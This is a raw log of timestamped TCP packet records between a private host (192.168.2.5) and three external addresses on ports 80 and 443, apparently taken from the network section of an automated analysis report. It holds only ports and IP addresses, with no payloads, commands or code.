Jan 13, 2022 20:51:25.049591064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049612045 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049633026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049633980 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049639940 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049655914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049676895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049695015 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049696922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049700975 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049719095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049740076 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049747944 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049753904 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049762011 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049782991 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049803972 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049806118 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049812078 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049825907 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049860001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049882889 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049889088 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.050276995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.050287962 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.063230038 CET	80	49829	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.063559055 CET	49829	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.063575029 CET	49829	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:25.091001034 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.091029882 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.091087103 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.091434002 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.091445923 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.119369984 CET	80	49829	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.120841026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120868921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120892048 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120913029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120929003 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.120938063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120950937 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.120961905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120984077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.120995045 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121007919 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121030092 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121052027 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121074915 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121076107 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121082067 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121099949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121123075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121139050 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121144056 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121145010 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121166945 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121191025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121212959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121213913 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121222973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121234894 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121258020 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121275902 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121279001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121282101 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121303082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121325970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121337891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121342897 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121346951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121371031 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121392965 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121412039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121412039 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121417999 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121428013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121452093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121474028 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121479034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121484995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121496916 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121505976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121510029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121519089 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121541023 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121563911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121582985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121589899 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121589899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121613026 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121639013 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121650934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121663094 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121685028 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121689081 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121695042 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121709108 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121732950 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121754885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121758938 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121764898 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121778011 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121803045 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121824980 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121846914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121879101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121885061 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121891975 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121896029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121901989 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121907949 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121926069 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121948004 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121958971 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121964931 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.121972084 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.121994972 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122003078 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122009993 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122015953 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122037888 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122039080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122061968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122072935 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122104883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122112989 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122117043 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122140884 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122162104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122181892 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122184038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122189045 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122209072 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122219086 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122231007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122252941 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122273922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122281075 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122287035 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122297049 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122322083 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122323990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122347116 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122368097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122389078 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122392893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122400999 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122411966 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122433901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122454882 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122456074 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122461081 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122483969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122494936 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122503996 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122510910 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122520924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122543097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.122551918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122558117 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.122663021 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.139045954 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.139148951 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.141490936 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.141499996 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.141712904 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.142679930 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.185875893 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.193577051 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193603992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193622112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193639994 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193655968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193661928 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.193672895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193692923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193707943 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193715096 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.193726063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193742990 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193758965 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193773985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193790913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193814993 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.193818092 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.193840027 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193864107 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.193892956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.193959951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193979025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.193994999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194010973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194026947 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194031954 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194044113 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194061041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194067955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194072962 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194077969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194096088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194133997 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194150925 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194154024 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194170952 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194202900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194211960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194238901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194253922 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194256067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194288015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194305897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194308996 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194324017 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194340944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194358110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194370031 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194374084 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194375038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194392920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194405079 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194415092 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194432974 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194448948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194466114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194482088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194482088 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194487095 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194500923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194523096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194535971 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194547892 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194562912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194576025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194593906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194593906 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194607973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194627047 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194644928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194663048 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194679022 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194694996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194729090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194739103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194741964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194750071 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194758892 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194772005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194789886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194808006 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194818974 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194823027 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194825888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194844007 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194860935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194876909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194890976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194894075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194895029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194911003 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194927931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194945097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194961071 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194969893 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194972992 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.194978952 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.194994926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.195010900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.195019960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.195023060 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.195028067 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.195044041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.195060015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.195076942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.195096970 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.195101023 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.195171118 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.250866890 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.250930071 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.251003981 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.251358032 CET	49831	443	192.168.2.5	144.76.136.153
Jan 13, 2022 20:51:25.251377106 CET	443	49831	144.76.136.153	192.168.2.5
Jan 13, 2022 20:51:25.264821053 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264848948 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264864922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264882088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264894009 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.264899969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264928102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264946938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264964104 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264978886 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.264981985 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.264987946 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265017986 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265034914 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265041113 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265048027 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265075922 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265094042 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265120029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265125036 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265130997 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265137911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265151978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265168905 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265187025 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265204906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265222073 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265221119 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265228033 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265242100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265259027 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265275955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265292883 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265300989 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265305042 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265314102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265347004 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265348911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265352011 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265352964 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265360117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265367985 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265383005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265398979 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265414000 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265415907 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265420914 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265430927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265446901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.265486956 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.265491962 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266033888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266103029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266120911 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266138077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266145945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266155005 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.266155958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.266172886 CET	80	49825	141.8.194.74	192.168.2.5
